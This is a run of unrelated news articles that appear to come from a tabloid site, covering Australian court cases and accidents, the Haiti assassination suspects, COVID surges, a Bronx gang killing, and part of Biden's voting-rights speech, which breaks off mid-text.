'She has been so hard done by, it has been horrific,' supporter Mark Ellis said.

'We are very happy with the outcome.

'This had taken a massive toll on her whole life. She has been too scared to go anywhere or do anything.

'It's been incredibly hard for all of us. We never believe it, right from the start.'

Lawyer Nick Dore said Ms Trinh had been vindicated and begged for a chance at a normal life.

'To everyone who believed in her during this period, she wants to thank the barristers and to all the friends and family who for the last two-and-a-half years have been providing support to her and believing in her innocence,' Mr Dore said.

'She sees today as being a complete vindication.'

Trinh was accused of contaminating punnets of strawberries by inserting needles into the fruit, sparking hundreds of copycat incidents (stock image)

Mr Dore said dropping the charges was 'the right decision' considering the evidence that was produced throughout the course of a 'long and convoluted' prosecution.

In a statement, the Crown admitted it had little hope of securing a conviction against Ms Trinh.

'Following legal argument over the past two days on evidential matters, a determination was made this morning that the Crown no longer had a reasonable prospect of securing a conviction in this matter and it was discontinued,' the Crown said.

Ms Trinh had worked at Berrylicious in her hometown of Caboolture, north of Brisbane, between September 2 and 7, 2018, when prosecutors previously alleged she inserted needles into the fruit.

She had been charged with seven counts of contamination of goods with intent to cause economic loss.

My Ut Trinh (pictured) was due to face trial in Brisbane this week over the alleged sabotage

Growers were forced to destroy entire crops with financial losses estimated at about $160 million.

The first needle was discovered on September 9, 2018 when a man bit into a contaminated strawberry he bought at a supermarket.

As more needles were discovered around the country - with many believed to have been planted by copycats - strawberries were stripped from shelves.

Police have said 230 needle contamination incidents were ultimately reported nationwide, affecting 68 strawberry brands.
A man found the body of his 36-year-old son in a pool of blood and positioned almost like he was trying to crawl away from something, a court has heard.

James Switez-Glowacz died from haemorrhaging, having been stabbed eight times in his head and body days before his body was found in February 2018.

His former wife Emily Jane Tracey, 38, and another man she also had a relationship with - 37-year-old Paul Mathew Moore - are standing trial each charged with one count of murder.

The body of 36-year-old James Switez-Glowacz was found by his father in his Wynnum West unit after he was stabbed eight times

Tracey and Mr Switez-Glowacz had married, divorced and talked about getting back together during an "on-again-off-again relationship" after meeting when she was 16 years old, the Brisbane Supreme Court has been told.

They had a daughter, and Tracey, of Russell Island, also has twins with her co-accused.

Albert Switez-Glowacz went to his son's unit in the Brisbane suburb of Wynnum West on February 8, 2018 as he had been unable to reach him by phone for days, the court heard on Wednesday.

James' father was unable to reach his son for several days

There was no answer when he knocked and Albert Switez-Glowacz found the screen and wooden doors unlocked.

That was unusual because James Switez-Glowacz was "pretty fastidious" about security, his father said in a recorded interview played to the court.

"He didn't have a lot of possessions, but what he had he wanted to keep," Albert Switez-Glowacz added.

He said he saw dry blood on the floor, just inside the door, and blood splashes on the wall.

He found his son "tucked in the corner" of the lounge-room.

"He was positioned almost like he was trying to crawl away from something," he told the court.

James Switez-Glowacz was on his hands and knees, with his face touching the floor or close to it.

"He had his right arm up behind his back and there was just blood everywhere," Albert Switez-Glowacz said.

His blood-soaked T-shirt was pulled up from the back over his head.

James Switez-Glowacz had mental health issues, was on medication and had an alcohol and drug problem.

He also spent time in jail for assault.

"It's clear that James Switez-Glowacz wasn't an angel (and) it's accepted that there was some violence in his relationships which his family says was in the context of his drug abuse," prosecutor Danny Boyle said earlier.

Albert Switez-Glowacz told the court he found his son 'tucked in the corner' of his Wynnum West unity

But in the weeks leading up to his death James Switez-Glowacz was "looking the best that he'd ever looked", his father said.

He was enjoying being a father to his and Tracey's daughter.

"He had a much happier disposition," Albert Switez-Glowacz added.

James Switez-Glowacz's mother Debbie Goodlet also told the court her son was "at the best" she had ever seen him in the weeks before his death, having moved into the home he wanted for him and his daughter.

"He looked great, he was making good decisions," she said tearfully.

"It's the James we always wanted and we only had him for a little while."

Barrister John Fraser said in his opening statement Moore admits he stabbed Mr Switez-Glowacz, but the issue for the jury will be whether his actions were unlawful.

Tracey's barrister Leon Ackermann told the jury the prosecution had put up three scenarios about the killing including claiming Tracey drove with Moore to Mr Switez-Glowacz's house

"I expect an issue in this trial will be whether there was ever any common intention with Mr Moore to seriously assault the deceased," he said.

The trial continues before Justice Martin Burns.
A man has been critically injured and several others hurt after a harvester hit a power pole on a pineapple farm in regional Queensland.

A harvester has reportedly crashed into a powerline on a regional Queensland pineapple farm, leaving one man critically injured and another six hurt.

The man in his 20s was rushed to Yeppoon Hospital after critical care paramedics arrived to the farm north of Rockhampton on Wednesday morning.

A man in his 20's was rushed to Yeppoon hospital in critical condition where he is waiting to be airlifted by helicopter for further medical treatment

A helicopter has been sent to airlift the man for further treatment, while three others were transported to Rockhampton in a stable condition.

Another man in his 20s and two others in their 40s are also stable, a spokeswoman for Queensland Ambulance Service said.

Queensland Police, fire and rescue crews and workplace health and safety also attended.

Ergon Energy were on scene to isolate the power.
'Cocaine Cassie' Sainsbury has quit OnlyFans after turning to the subscription-only website to sell racy photos of herself following her release from prison in Columbia.

Sainsbury, 26, spent three years in the South American country's notorious El Buen Pastor prison after being convicted of smuggling 5.8kg of cocaine hidden inside headphones in April 2017.

She was released from custody last year to serve the remainder of her six-year sentence on parole in the Columbian capital Bogota due to jail overcrowding during the coronavirus pandemic.

The ex-Adelaide fitness trainer started sharing suggestive images of herself on OnlyFans to fund her life after prison, but said using the platform had left her feeling 'uncomfortable'.

'Cocaine Cassie' Sainsbury has quit OnlyFans after turning to the subscription-only platform to sell suggestive photos of herself, saying it made her feel 'uncomfortable'

'I was on OnlyFans but it wasnt ever anything fully explicit,' the 26-year-old told KIIS FMs Kyle & Jackie O show on Wednesday.

She replied simply 'yes' when asked by host Kyle Sandilands whether her content was 'naughty, suggestive but nothing gross'.

'I didn't feel comfortable,' Sainsbury said.

She turned to OnlyFans as she was unable to work in Bogata due to visa complications.

In February, she posted a photo of her in lacy white underwear to her Instagram on Friday with a link to the site.

The 25-year-old was charging subscribers $39.99 a month to check out her sultry snaps.

She has so far shared two photos to the account with a caption reading: 'What happens next?' with a winky emoji.

Sainsbury had earlier shot down rumours she was paid cash by men in Australia in exchange for semi-naked pictures while on parole.

Photos surfaced in August appearing to show the South Australian lying on a bed wearing lacy underwear and showing her distinctive stomach tattoo.

Sainsbury started sharing racy photos on the subscription-only website to fund her life in Columbia after being released from prison

Cassie Sainsbury was arrested with 5.8 kilograms of cocaine (pictured) concealed in her luggage at Bogota's El Dorado International Airport in April 2017

Sainsbury posted a photo of her in lacy white underwear to her Instagram in February with a link to Only Fans

A media report claimed Sainsbury has been making $400 a week from a man who she sends explicit photos to and included an online exchange between the pair.

'Well I'm happy with the amount you offered, like I'm not the sort of person to be like, no that's not enough give me more,' she wrote to the man, according to the Courier Mail.

She also wrote: 'How do I know that you sent the money?' and explained the photo could be verified by her Facebook profile picture.

According to her site, the 25-year-old was charging subscribers $39.99 a month to check out her sultry snaps

But a week later, Sainsbury denied being paid for any photos during an interview with Brisbane radio station B105.

'It actually didn't go down the way it has come out in the media. I did not receive any money at all for any photo,' Sainsbury said.

She was then asked by hosts Stav, Matt, and Abby if she had set up an account on adult site OnlyFans where users are paid for racy content.

'I had never even heard of this page until I got a whole heap of messages from people saying 'What's your OnlyFans ID?' And I was like 'What? What is that?' Sainsbury replied.

She also revealed she had ended her engagement to fellow inmate Joli Pico, 29, from Venezuela after a nine month romance behind bars.

Pico, who is still serving her sentence for theft in Columbia, had moved on with another inmate, according to Sainsbury.

'Unfortunately things with Joli, they didn't last. I came out of prison and then she became a different person, and she got with somebody else inside as well.'

When asked if her former girlfriend had cheated on her she replied it was 'difficult' and had her doubts about whether the relationship would last once one of them was on the outside.

Sainsbury spent three years locked up in the notorious El Buen Pastor prison in Colombia after being convicted for smuggling 5.8kg of cocaine hidden inside headphones in April 2017. She is pictured attending a court hearing in Bogota on August 9, 2017

While behind bars, Sainsbury (pictured left) became engaged to fellow inmate Joli Pico, 29, (pictured right) from Venezuela

Of her relationship with fellow inmate Pico, the South Australian had previously said she had not expected it.

'Honestly, it was the least thing that I expected to find in prison,' she told 60 Minutes in April.

'It started as a friendship and then out of nowhere it just turned into a relationship.'

The pair were together for nine months before Pico - who is serving time for theft - proposed to Sainsbury in front of their cell mates late last year.

Sainsbury, 26, and Pico (pictured) ended their relationship that lasted for nine months
An ex-soldier recruited to join the group of Colombian soldiers accused of assassinating Haiti's president, says the group were contracted to provide security to protect the president - not kill him.

Matias Gutierrez, a retired special forces sniper, would have traveled to Haiti with the group last month but tested positive for COVID-19 instead.

He claims that his friends and colleagues had been 'set up' in a 'conspiracy'.

'If I had traveled, I would possibly be involved in the same thing that the commandos there are, unfortunately,' Gutierrez told Reuters Monday.

Gutierrez, who now works as a security guard, insists the men were not involved in President Moise's killing because they are honorable and also well-trained in how to assault a target and then pull back if that had been their actual mission.

Matias Gutierrez, (pictured) a retired special forces sniper, would have traveled to Haiti with the group of Colombian soldiers last month but tested positive for COVID-19 instead.

Colombian ex-soldiers, accused of involvement in the assassination of Haitian President Jovenel Moise, stand in a courtyard in Port-au-Prince, Haiti

'It wasn't our commandos. There has to have been a conspiracy,' said Gutierrez.

'Their extraction was total chaos. Why? Because they weren't going on an assault, they went in support of a request by the security forces of the president.'

President Jovenel Moise was shot dead last Wednesday at his Port-au-Prince home by what Haitian authorities say was a unit of assassins made up of 26 Colombians and two Haitian Americans, plunging the troubled Caribbean nation into deeper turmoil.

Photos and X-ray images posted on social media, said to be from Moise's autopsy, showed his body riddled with bullet holes, a fractured skull and other broken bones, underscoring the brutal nature of the attack.

James A. Solages, 35, and Vincent Joseph, 56, both from South Florida, insisted that their plan was not to assassinate Moise.

'They probably were watching and waiting for the opportunity for them to do it,' said Investigative Judge Clement Noel, who was among the first to question the two Haitian-Americans among the 19 suspects detained so far.

President Jovenel Moise (pictured) was shot dead last Wednesday at his Port-au-Prince home by what Haitian authorities say was a unit of assassins made up of 26 Colombians and two Haitian Americans, plunging the troubled Caribbean nation into deeper turmoil.

Police lined up the suspects behind a table displaying an array of firearms, machetes, sledgehammers and several Colombian passports

Suspects in the assassination of Haiti's President Jovenel Moise are shown to the media in Port-au-Prince, Haiti on Thursday

Their mission, Noel and another person who debriefed the men said they were told, was to 'arrest the president (at his home) and go to the presidential palace with him.'

The Miami Herald reported the detained Colombians said they were hired to work in Haiti by Miami-based company CTU Security, run by Venezuelan Antonio Enmanuel Intriago Valera.

Neither CTU nor Intriago could be reached for comment.

One phone number associated with the company in public records sent calls to an answering machine that made a reference to the fictional TV character Jack Bauer, who fought terrorism in the series '24.'

According to a WhatsApp conversation, the men were expected to earn $2,700 a month protecting Moise, working along Haitian authorities, Gutierrez said.

Gutierrez spent 21 years in the army, 14 of them in special forces, before retiring in 2015.

Christian Emmanuel Sanon, 63, who was arrested in Haiti over the weekend, had campaigned to replace slain President Jovenel Moise weeks before the Haitian leader's assassination, DailyMail.com can reveal

He told Reuters that he chatted with a few of the men when they first arrived in Haiti. They informed him things were going well and they were staying in a house close to the presidential palace.

In addition, a Florida doctor was arrested last week over the assassination, campaigning to replace the slain leader and claiming to have the backing of a key UN figure, DailyMail.com can reveal.

Christian Emmanuel Sanon, a Haitian who has lived in the US since the late 70s, is suspected of being 'one of the leaders' behind the brazen shooting of Moise and the attempted killing of his wife Martine last week.

Haitian police say he entered the strife-plagued country last month on a private jet 'with the intention of taking the Haitian Presidency' although they are yet to back their accusations with hard evidence.

Via social media, Haitians in parts of the capital Port-au-Prince were planning protests this week against the interim prime minister and acting head of state Claude Joseph.

Joseph's right to lead the country has been challenged by other senior politicians, threatening to exacerbate the turmoil engulfing the poorest country in the Americas.
A truck driver who killed four police officers on a Melbourne freeway has denied trying to shift the blame by claiming his boss knew he was overtired and helped him to 'cast out' a witch's spell.

Mohinder Singh had been using and dealing ice, speaking about seeing ghosts and witches, and thought he was getting fired before he veered into the officers on the Eastern Freeway on April 22, 2020.

Singh on Wednesday faced Melbourne Magistrates Court to give evidence during the committal hearing of his former boss, Connect Logistics manager Simiona Tuteru, who has been charged with manslaughter over the fatality.

Mohinder Singh gave evidence during the committal hearing of his former boss, Simiona Tuteru (pictured), who has been charged with manslaughter after Singh killed four Victorian Police officers

In a police statement dated May 4, released in court, Singh said he met with Tuteru, whom he knew as 'Simon', about three hours before the collision and told him he had been 'cursed by a witch' and was 'seeing things'.

'Simon then said to me "let's go to your car and see if she had left anything behind",' Singh wrote.

'Simon told me that sometimes witches leave behind voodoo dolls or hair. We were looking for something that wasn't mine. While we were doing this Simon talked to me about witches and curses and how they worked.'

In April Singh was jailed for up to 22 years after admitting culpable driving causing the deaths of Senior Constable Lynette Taylor, Senior Constable Kevin King, and constables Glen Humphris and Josh Prestney.

Tuteru is accused of directing or requiring Singh to work while he was fatigued and multiple breaches of heavy vehicle regulations.

Singh (pictured) was fatigued and drugged when he killed four officers on a Melbourne freeway on April 22, 2020 and had denied 'shifting the blame' to his former boss

Simiona Tuteru is accused of directing or requiring Singh to work while he was fatigued, as well as multiple breached of heavy vehicle regulations leading to the fatal deaths of the four officers (pictured)

In his statement, Singh said Tuteru placed his hand on his head and prayed after they failed to find anything in the car.

'I don't remember the exact words of the prayer but I do remember at the end of it he said: 'In Jesus' name I cast the spell out of you',' Singh told police.

'I also remember while we were searching the car he said that he had experiences with witches in Africa and this is where he learnt how witches work.

'After he prayed on me he then said: 'OK you are right to go now ... I just need you to do the load to Thomastown and then you can come back  see how you are feeling and go home'.'

Singh claims that he told Tuetru that he was sleep deprived as well as claiming he had been cursed by a witch and was seeing things, before Tuteru said he was fine to do a load which led to the crash

The former truck driver also claims he told Tuteru that he was sleep-deprived.

'I definitely said to him I was unfit to drive and very tired,' Singh told the court.

Tuteru's barrister, David Hallowes SC, then asked him: 'Have you ever tried to shift the blame for this collision to your boss?'

Singh said 'no'.

Tuteru's committal hearing continues on Wednesday
Seven children have been hospitalized in the intensive care unit in Mississippi where public health officials are warning that the Delta variant is fueling a surge in COVID cases statewide.

Mississippi State Health Officer Dr. Thomas Dobbs told ABC News on Tuesday that of the seven children in the ICU, two of them are on ventilators.

'Delta Surge - be careful,' Dobbs tweeted on Tuesday.

Initially, Dobbs said that 12 children were in intensive care after contracting COVID-19, but that number was later revised to seven after a hospital corrected an earlier report.

A prisoner at the Bolivar County Correctional Facility reacts as he receives a COVID-19 vaccination administered by medical workers in Cleveland, Mississippi on April 28

Medical workers with Delta Health Center wait to vaccinate people at a pop-up vaccination clinic in this rural Delta community on April 27, 2021 in Hollandale, Mississippi. Mississippi has the lowest vaccination rate in the country with just one out of three adults fully inoculated

'Please be safe and if you are 12 or older - please protect yourself,' he said.

Mississippi has the lowest vaccination rate in the country.

With just 33.4 percent of residents fully vaccinated, COVID-19 infections have spiked in Mississippi by 57 percent from an average of 192 cases recorded on June 28 to an average of 303 per day on July 12.

Children are far less likely than adults to get seriously ill from COVID-19, yet they represent nearly 14 percent of the nation's coronavirus cases.

The state has seen a rise in the number of hospitalizations in recent weeks

COVID-19 infections have spiked in Mississippi by 57 percent from an average of 192 cases recorded on June 28 to an average of 303 per day on July 12

Since the start of the pandemic, more than 325,000 Mississippians have contracted COVID-19. Nearly 7,500 have died

State health officials report nearly 3,000 new cases of COVID-19 in the last two weeks

At least 296 have died from COVID-19 in the United States alone, and more than 15,000 have been hospitalized, according to a tally by the American Academy of Pediatrics.

In May, the US authorized the use of the Pfizer-BioNTech vaccine for children aged 12 and up.

Moderna has said that its COVID-19 vaccine strongly protects kids as young as 12 but has not received FDA authorization for teenagers yet.

It is not clear how old the children who fell ill in Mississippi were or whether or not they were eligible for the vaccine.

The state has seen an alarming increase in COVID-19 hospitalizations in recent days.

On June 21, 91 people were hospitalized with COVID-19 in Mississippi. On Sunday, that number had risen to 228 people, according to health officials, who blame the Delta variant.

The variant has now become the predominant strain of coronavirus.

The uptick in cases has prompted the Mississippi State Department of Health to block comments on its Facebook posts that relate to COVID-19 because of a 'rise of misinformation' about the virus and vaccinations, a health official said.

'The comments section of our Facebook page has increasingly come to be dominated by misinformation about COVID-19,' state health department spokesperson Liz Sharlot said in a statement.

Sharlot said allowing the comments that 'mislead the public about the safety, importance and effectiveness of vaccination' is 'directly contrary' to the state's public health mission, which includes encouraging members of the public to be vaccinated against the virus, which has been recently making a resurgence in the state.

Only about 31 percent of Mississippians have been fully vaccinated against COVID-19, a statistic that ranks near the bottom of US states.

The Department of Health posts multiple times each day on its Facebook page about COVID-19.

Posts include information on numbers of new coronavirus cases in the state, details on pop-up vaccination clinics and transportation services to vaccination clinics for homebound residents.

Sharlot said the comments will be back when the department has 'the resources to effectively curb misleading, harmful and off-topic commentary that disserves the public.'

Federal regulators have said the vaccines are safe and offer strong protection against contracting the potentially life-threatening disease.

Mississippi health officials announced on Friday that they are recommending that people 65 and older and those with chronic underlying medical conditions refrain from attending indoor mass social gatherings in the coming weeks because of a rising number of coronavirus cases in the state.

State officials have also advised in the last week that vulnerable people should avoid indoor mass gatherings whether or not they are vaccinated, through at least July 26, and that people who are not vaccinated should wear a mask when in public settings.

The number of COVID-19 cases has started to surge nationwide after months of decline, with the number of new cases per day doubling over the past three weeks.

Doctors and public health officials have said that the surge, in 43 out of the country's 50 states, comes amid a rise in the Delta variant of the SARS-CoV-2 virus and stagnating vaccination numbers.

Health experts warn that the worrying increase in cases is linked to the Indian 'Delta' variant, which accounts for as many 97 percent of infections in some states.

Centers for Disease Control and Prevention data updated last week shows that the Delta variant, also known as B.1.617.2, makes up 51.7 percent of all new infections - making it the dominant form of the virus in the United States.

The Delta variant has been detected in all 50 states and accounts for more than 80 percent of new infections in Midwestern states such as Iowa, Kansas and Missouri, where vaccination rates are lagging.

In the United States, 59 percent of adults are fully vaccinated while 68 percent have at least one shot, according to CDC data.

Dr. Chris Pernell, a fellow at the American College of Preventative Medicine, called it a 'pandemic of the unvaccinated' in an interview with CNN on Tuesday.

'This is primarily a pandemic of the unvaccinated. And we need to be very clear about that message,' Dr. Pernell said.

She also hit out at states like Florida, Alabama, Arkansas, Indiana, Montana, Oklahoma, and Utah that have blocked COVID-19 vaccine requirements in schools.

'To flat out prohibit COVID-19 vaccination is not in anyone's best interest. When states make that move, they get in the way of good and effective public health,' she said.
A young member of the Crips who was shot dead in New York City during an escalating 'war' was trying to leave the gang.

Jaryan Elliot, 13, was shot dead around 3:15 p.m. on Sunday outside Angels Cafe in the Belmont neighborhood of the Bronx in revenge for the killing of rival gang member Tyquill Daugherty, 19, four days earlier, the New York Post reported.

Jaryan, who had just graduated from middle school, would have turned 14 on July 29. He had already been arrested eight times, including for robbery and assault, and had spent time at a juvenile detention center before his death.

However, friends of his told the New York Post that he had seemed to be on a better path and wanted to leave the gang life.

Jaryan Elliot, 13, was shot dead around 3:15 p.m. on Sunday outside Angels Cafe in the Belmont neighborhood of the Bronx

A memorial was set up where Jaryan Elliot lived displaying photos and candles

The letters 'JR' are formed with candles at a makeshift vigil for the young teen

A female friend of Jaryan, 16, told the outlet that she had seen the young teen weeks before his death.

'Two weeks ago we was with him, and he was telling us how he was tired of this gang stuff. He wanted to get some money and get out of the 'hood,' she told the New York Post.

The friend, who was not named, said that street gangs are idolized in the working-class 'red sauce' neighborhood, known for being the setting for Chazz Palminteris coming-of-age crime drama film Bronx Tale.

She said even her 10-year-old brother has claimed to be in gang, even though he is not, the New York Post reported.

'He is only 10 years old. He is saying that he is in a gang,' she said. 'He thinks it's cute, but I tell him he is not in no gang. He is only 10 years old.'

The friend said she and Jaryan 'used to chill, go to the park, have fun' when she first moved to Belmont.

'He was overprotective of his friends. He'd text people and ask if we are good, 'How did you sleep, did you eat.' He was a beautiful soul. He cared about people,' she said.

She added: 'It hurts me that this is his first teen year. He had a long life to live.'

'He didn't get to live it. He didn't even made it to high school. A gang changes your life forever,' she said.

An ex-girlfriend, 14, claimed she had tried to warn Jaryan and her own brother about joining the street gangs.

'I even tell my own brother to stay out of these streets. I said: "I'm telling you because I love you, and I know you are in a gang, too",' she said.

She said that she would tell Jaryan: 'You don't know who is in the car with you, you don't know if they'd run up on you, you don't know what they have.'

'They are over here wearing ski masks, you can't see nobody's face,' she said.

The young Crips member is pictured holding an apparent gun

The ex-girlfriend acknowledged that 'it's hard to get out of the gang' and that 'you gotta get beat up to get out.'

She said: 'I don't know why they did this because he was so young. He was the youngest of all of them.'

The ex-girlfriend said that ever since Jaryan had been released from his juvenile detention facility he had been 'doing good' and 'doing his school work.'

She was told Jaryan had gone to fix someone's moped with a friend when he was shot to death, the ex-girlfriend recounted to the New York Post.

That's when a shooter hopped out of a car and opened fire on the young teen, the New York Daily News reported. The boy was taken by medics to St. Barnabas Hospital but he could not be saved.

The ex-girlfriend rushed to the hospital after someone she was with received a phone call telling them that Jaryan had been shot, she told the New York Post.

'They said he was shot and he wasn't breathing. At first I didn't believe it,' she told the outlet.

'Then it popped up on Citizen app, and we saw it on Facebook. That's when I realized it was no joke.'

Jaryan was shot outside of Angels Cafe in the Belmont neighborhood of the Bronx borough of New York City

Another photo posted at the memorial shows the teen with the caption: 'Long Live Jaryan'

The ex-girlfriend said she started understanding how serious the situation was when his mother and current girlfriend started showing up to the hospital.

'[His mother] couldn't walk,' the teen girl recounted. 'When they pronounced him dead, she came out screaming and crying.'

The GoFundMe has been started for Jaryan's mother to help her pay for the funeral after the young teen's death.

'He was taken away from us due to a senseless act of gun violence,' the family wrote in a statement attached to the fundraiser.

'Unfortunately, due to legality, we are not able to provide much information on the events surrounding his passing. However, we are working diligently to get justice for Jaryan. This is just the beginning.'

The statement adds: 'As we deal with this heartbreak, we ask for your support for a single mom raising three children and ensuring our son, brother, nephew, cousin, and friend have a homegoing ceremony he deserves.'

Jaryan was one of three teens killed in the Bronx borough of New York City in what cops called a 'major gang war' in comments to the New York Post.

He is believed to have been at the scene of Daugherty's shooting, though not the gunman, the police sources told the outlet.

Ramon Gil-Medrano, the third shooting victim, was shot dead about eight hours after Jaryan was killed in apparent retaliation for the young boy's death. Ramon, 16, was allegedly affiliated with the 800 YGz, or 'Young Gunnaz,' gang.

Police sources told the New York Post that Gil-Medrano was at the scene when Jaryan was shot dead but it was not immediately clear if he was the shooter.

NYPD data shows that murder rates are up 4.7% in 2021 compared to last year as of July 11. There have been 225 murders citywide this year compared to 215 last year.

Shooting victims are up 22.2% year over year, with 931 shooting incidents in 2021 compared to 762 in 2020 citywide by July 11, NYPD data shows. The number of shooting incidents has increased from 623 in 2020 to 803 in 2021, a 28.9% jump.

However, those rates are much starker when examined just for the Bronx borough of New York City.

Of those 225 murders in New York City this year, 69 of them were in the Bronx  making up a whopping 31% of all murders in the Big Apple. There were 49 murders in the borough last year, making up only 22% of all murders across the city by July 11, 2020.

The number of shooting victims in the Bronx specifically has jumped 64.8% year-over-year, from 193 shooting incidents in 2020 to 318 in 2021. That means about 42% of all shooting victims in New York City came from the Bronx this year.
Western Australia's hard border to NSW is set to remain for at least another two months with a coronavirus outbreak in Sydney no closer to being controlled.

Western Australia is set to lock out people from NSW for at least another two months and potentially longer as Sydney deals with a worsening coronavirus outbreak.

NSW recorded 97 new local cases on Tuesday, prompting the government to extend a lockdown in Greater Sydney and surrounds for at least another fortnight.

Premier Mark McGowen has announced borders between WA and NSW will remain closed, with tightened restrictions for travellers including those granted exemptions

WA has further tightened exemptions for travellers from NSW, including those granted on compassionate grounds.

'WA residents wanting to enter from NSW are not guaranteed right of entry, and need to demonstrate extenuating circumstances to be granted approval to enter WA,' the latest travel advice published this week said.

'The state emergency coordinator will only approve an individual after consideration of all of the circumstances, including the public health risks.

NSW is classed by WA as a medium-risk jurisdiction, denying entry to anyone who cannot secure highly restricted exemptions.

Chief Health Officer Andy Robertson said that would remain the case for 'at least two months and possibly more'.

He said people wanting to get back from NSW had been given ample time to do so before the restrictions were tightened.

WA Chief Health Officer Andy Robertson advised the borders should remain shut for 'at least two months and possibly more'

'Obviously if you have very good reason to come back to WA, there might be a very ill family member or a spouse who's having a baby or whatever the case may be, then obviously there are good circumstances,' he told Perth radio 6PR.

'But this is not the time to go over for a holiday in NSW, or to go over for work, on the off-chance that 'oh I'm a West Australian and therefore I can get back in' - you may not be able to.'

WA recorded no new coronavirus cases on Wednesday.

Nine active cases are being monitored, including a returned overseas traveller and a maritime worker who are both in a stable condition in hospital.

WA has currently recorded no new coronavirus cases on Wednesday

A recent four-day lockdown in Perth and the Peel region was traced to a woman who contracted the highly transmissible Delta variant while holidaying in Sydney.

Premier Mark McGowan has accused the federal government of favouring NSW for disaster relief payments, having been denied similar support for casual workers who lost shifts during the Perth lockdown and subsequent restrictions.

A spokeswoman for the premier said some workers had been without work for up to two weeks, which exceeded the Commonwealth's seven-day threshold.

'These people deserve help from the federal government, consistent with support provided to workers in the eastern states,' she said.

'It's very disappointing the Commonwealth government has chosen to ignore WA workers.

'The prime minister's comments that NSW is the powerhouse of the national economy is utterly wrong, incorrect and it does not reflect the true contribution Western Australia's booming economy is making to the rest of the nation.'
Below is the text of President Joe Biden's speech on voting rights that he gave at the National Constitution Center in Philadelphia on Tuesday:

Thank you. (Applause.) I see an awful lot of good friends out there. Please have a seat if you have one.

I -- let me begin by saying I used to be important. (Laughter.) I used to be the chairman of the board of this place. And Jeffrey Rosen allowed me to do that for a while.

But thank you all for being here. I truly appreciate it. Governor, it's above and beyond the call. Mr. Mayor, Id compli- -- I thought you were a great mayor -- still think you are -- but your judgment in fiancees is even stronger. And -- but -- but all of you. And a good friend, Bobby Brady. I see so many friends out. Al Sharpton -- Al, how are you, pal? It's great to see you. (Applause.)

And I'm -- I'm going to get in trouble here because I'm going to recognize my congresswoman from the state of Delaware, Lisa Blunt Rochester -- (applause) -- and her sister who used to run my office. Stand up. (Applause.)

Well, folks, good afternoon. There's a serious subject I'd like to talk about today. I'm here in Philadelphia at the National Constitution Center -- the city and the place where the story of "We the People" -- "We the People" began.

Its a story thats neither simple nor straightforward. Thats because the story is the sum of our parts, and all those parts are fundamentally human. And being human is to be imperfect, driven by appetite and ambition as much as by goodness and grace.

But some things in America should be simple and straightforward.

Perhaps the most important of those things -- the most fundamental of those things -- is the right to vote. The right to vote freely. (Applause) The right to vote freely, the right -- the right to vote fairly, the right to have your vote counted. The democratic threshold is liberty. With it, anything is possible. Without it, nothing -- nothing.

And for our democracy and the work -- and to deliver our work and [for] our people, its up to all of us to protect that right. This is a test of our time and what Im here to talk about today.

Just think about the past election.

A 102-year-old woman in Arkansas who voted for the first time on the very spot she once picked cotton.

A 94-year-old woman in Michigan who voted early and in person in her seventy-se- -- 72nd consecutive election. You know what she said? She said this election was, quote, the most important vote that we ever had.

The daughter who voted in the memory of her dad who died of COVID-19 so others wouldnt have the experience of pain and darkness and loss that she was going through. Patients out there.

And the parents -- the parents who voted for school their children will learn in.

Sons and daughters voted for the planet theyre going to live on.

Young people just turning 18 and everyone who, for the first time in their lives, thought they could truly make a difference.

America -- America and Americans of every background voted. They voted for good jobs and higher wages. They voted for racial equity and justice. They voted to make healthcare a right, not a privilege.

And the reason that Americans went to vote and the lengths they went to vote -- to be able to vote in this past election were absolutely extraordinary. In fact, the fact that so many election officials across the country made it easier and safer for them to be able to vote in the middle of a pandemic was remarkable.

As a result, in 2020, more people voted in America than ever -- ever in the history of America, in the middle of a once-in-a-century pandemic. (Applause.)

All told, more than 150 [million] Americans of every age, of every race, of every background exercised their right to vote.

They voted early. They voted absentee. They voted in person. They voted by mail. They voted by drop box. And then they got their families and friends to go out and vote.

Election officials, the entire electoral system, withstood unrelenting political attacks, physical threats, intimidation, and pressure. They did so with unyielding courage and

faith in our democracy.

With recount after recount after recount, court case after court case, the 2020 election was the most scrutinized election ever in American history. Challenge after challenge brought to local, state, and election officials; state legislatures; state and federal courts -- even to the United States Supreme Court not once, but twice.

More than 80 judges, including those appointed by my predecessor, heard the arguments. In every case, neither cause nor evidence was found to undermine the national achievement of administering this historic election in the face of such extraordinary challenges.

Audits, recounts were conducted in Arizona, in Wisconsin. In Georgia, it was recounted three times.

Its clear. For those who challenge the results and question the integrity of the election: No other election has ever been held under such scrutiny and such high standards.

The Big Lie is just that: a big lie. (Applause.)

The 2020 election -- its not hyperbole to suggest -- the most examined and the fullest expression of the will of the people in the history of this nation. This should be celebrated -- the example of America at its best. But instead, we continue to see an example of human nature at its worst -- something darker and more sinister.

In America, if you lose, you accept the results. You follow the Constitution. You try again. You dont call facts fake and then try to bring down the American experiment just because youre unhappy. Thats not statesmanship. (Applause.)

Thats not statesmanship; thats selfishness. Thats not democracy; its the denial of the right to vote. It suppresses. It subjugates.

The denial of full and free and fair elections is the most un-American thing that any of us can imagine, the most undemocratic, the most unpatriotic, and yet, sadly, not unprecedented.

From denying enslaved people fu- -- full citizenship until the 13th, 14th, and 15th Amendments after the Civil War; to denying women the right to vote until the 19th Amendment 100 years ago; to poll taxes and literacy tests, and the Ku Klux Klan campaigns of violence and terror that lasted into the 50s and 60s; to the Supreme Court decision in 2013 and then again just two weeks ago - a decision that weakened the landmark Voting Rights Act; to the willful attacks -- election attacks in 2020; and then to a whole other level of threat -- the violence and the deadly insurrection on the Capitol on January 6th.

I just got back from Europe, speaking to the G7 and to NATO. They wonder -- not a joke -- they wonder, Gov -- they ask me, Is it going to be okay? The citadel of democracy in the world, "Is it o- -- going to be okay?"

Time and again, weve weathered threats to the right to vote in free and fair elections. And each time, we found a way to overcome. And thats what we must do today.

Vice President Harris and I have spent our careers doing this work. And Ive asked her to lead, to bring people together to protect the right to vote and our democracy. And it starts with continuing the fight to pass H.R.1, the For the People Act. (Applause.)

That bill -- that bill would help end voter suppression in the states, get dark money out of politics, give voice to the people at the grassroots level, create a fairer district maps, and end partisan political gerrymandering.

Last month, Republicans opposed even debating, even considering For the People Act. Senate Democrats stood united to protect our democracy and the sanctity of the vote. We must pass the For the People Act. Its a national imperative.

We must also fight for the John Lewis Voting Rights Advancement Act to restore and expand -- (applause) -- to restore and expand voting protections and prevent voter suppression. All the congresswomen and men here -- theres a bunch of you -- you knew John, many of you.

